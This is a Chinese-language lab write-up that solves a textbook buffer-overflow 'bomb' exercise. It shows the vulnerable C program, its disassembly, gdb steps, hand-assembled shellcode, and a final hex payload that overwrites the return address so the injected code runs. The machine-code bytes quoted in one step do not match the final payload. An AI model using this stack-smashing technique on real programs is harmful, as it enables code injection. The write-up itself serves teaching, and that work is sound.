原题为:
输入一个16进制的字符串, 使得程序输出0xdeadbeef
程序如下:
/* Bomb program that is solved using a buffer overflow attack */
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
/* Like gets, except that characters are typed as pairs of hex digits.
Nondigit characters are ignored. Stops when encounters newline */
char *getxs(char *dest)
{
int c;
int even = 1; /* Have read even number of digits */
int otherd = 0; /* Other hex digit of pair */
char *sp = dest;
while ((c = getchar()) != EOF && c != '\n') {
if (isxdigit(c)) {
int val;
if ('0' <= c && c <= '9')
val = c - '0';
else if ('A' <= c && c <= 'F')
val = c - 'A' + 10;
else
val = c - 'a' + 10;
if (even) {
otherd = val;
even = 0;
} else {
*sp++ = otherd * 16 + val;
even = 1;
}
}
}
*sp++ = '\0';
return dest;
}
/* $begin getbuf-c */
int getbuf()
{
char buf[12];
getxs(buf);
return 1;
}
void test()
{
int val;
printf("Type Hex string:");
val = getbuf();
printf("getbuf returned 0x%x\n", val);
}
/* $end getbuf-c */
int main()
{
int buf[16];
/* This little hack is an attempt to get the stack to be in a
stable position
*/
int offset = (((int) buf) & 0xFFF);
int *space = (int *) alloca(offset);
*space = 0; /* So that don't get complaint of unused variable */
test();
return 0;
}
在getbuf函数中也许“显然”地会返回1,程序的典型执行情况是这样的:
Type Hex string:31 32 33 32
getbuf returned 0x1
题目要求通过输入一个数据使这个本来只会返回1的函数返回0xdeadbeef,就是在test函数中地printf中打印地是0xdeadbeef。
这道作业折腾了好几天,作为从未接触过Linux的人来讲,又是自学,上手着实不易。所以我觉得有必要详细记录下对于只用过Windows的爱好者,如何使用gcc来处理这道问题。
一、Windows下使用gcc
可以使用MinGW,根据我的折腾经历,Code::Blocks是一个不错的IDE。安装后记得在我的电脑—属性—高级—环境变量里,将XXX\MinGW\bin加入PATH,cmd里运行gcc -v,能显示gcc信息的话就表明安装成功了。
二、这道题的解法
首先将附带的程序编译一下,cmd进入代码所在目录,假设名称为main.c。
1、gcc -c main.c
2、gcc -o bufbomb main.o
3、objdump -d bufbomb.exe>bufbomb_obj.s
这样就得到程序的反汇编文件,其中几个关键函数如下:
00401447 <_getbuf>:
401447: 55 push %ebp
401448: 89 e5 mov %esp,%ebp
40144a: 83 ec 28 sub $0x28,%esp
40144d: 8d 45 ec lea -0x14(%ebp),%eax
401450: 89 04 24 mov %eax,(%esp)
401453: e8 34 ff ff ff call 40138c <_getxs>
401458: b8 01 00 00 00 mov $0x1,%eax
40145d: c9 leave
40145e: c3 ret
0040145f <_test>:
40145f: 55 push %ebp
401460: 89 e5 mov %esp,%ebp
401462: 83 ec 28 sub $0x28,%esp
401465: c7 04 24 64 30 40 00 movl $0x403064,(%esp)
40146c: e8 1f 08 00 00 call 401c90 <_printf>
401471: e8 d1 ff ff ff call 401447 <_getbuf>
401476: 89 45 f4 mov %eax,-0xc(%ebp)
401479: 8b 45 f4 mov -0xc(%ebp),%eax
40147c: 89 44 24 04 mov %eax,0x4(%esp)
401480: c7 04 24 75 30 40 00 movl $0x403075,(%esp)
401487: e8 04 08 00 00 call 401c90 <_printf>
40148c: c9 leave
40148d: c3 ret
来看一下getbuf函数,可以得出系统一共为getbuf分配了0x28即40个字节,其中buf[]占用了0x14即20个字节,比我们需要的多出8个字节,getbuf的栈帧结构如下图:
| |
|-----s--|
| |
|---------| 保存的返回地址
| |
0 |---------| %ebp
| [19] |
| . |
| . |
| . |
| [12] |
-8 |---------|
| [11] |
| . |
| . |
| . |
| [0] |
-20 |---------| buf
| |
| |
| |
| |
| |
| |
| . |
.
.
图: getbuf帧结构
根据教材上的方法,我们采取的手段可以是输入的数据在保持%ebp不变的情况下,覆盖掉原返回地址并将其指向buf的首地址。
Step 1:要使输出为0xdeadbeef,我们需要输入的内容
回到上面的反汇编文件,test函数里面可以看到,调用getbuf后test地址为0x401476,因此在getbuf的栈帧结构里,返回地址也同样是0x401476;或者可以通过gdb调试来确定这个返回地址,操作如下:
1、<gdb>gdb bufbomb
2、<gdb>r
3、<gdb>p/x *((int*) $ebp+1)
同样显示得到$1=0x401476。
这里顺便输入<gdb>p/x ((int*)-5),就得到了buf[]的首地址:0x22ef84。
于是,接下去就应该将0xdeadbeef输入后,直接跳转到返回地址0x401476。
mov $0xdeadbeef, %eax
mov $0x401476, %edx
jmp *%edx
这里用文本编辑器编辑一下,然后后缀改为.s,比方命名为show.s,接着gcc -c show.s,objdum -d show.o,就能看到这段操作的机器代码:b8efbead de687614 4000ffe2,共12组;
另外还有一种方法,
mov $0xdeadbeef, %eax
push $0x401476
ret
也能达到同样的效果。
Step 2:制造炸弹
既然已经得到了buf[]的首地址、%ebp的值和返回地址的值,就可以制造炸弹了。bu[12]与%ebp之间有8个字节的缓冲区,实验证明这段区域填写任意值都没关系,干脆都填0好了。关键是将返回地址的值覆盖为buf[]的首地址。
直接运行程序,输入的数组为:
b8efbead deba7614 4000ffe2 00000000 00000000 c8ef2200 84ef2200
通过反汇编得到的机器码 多余8个字节的缓冲区 %ebp buf[]的首地址
结果就出来了。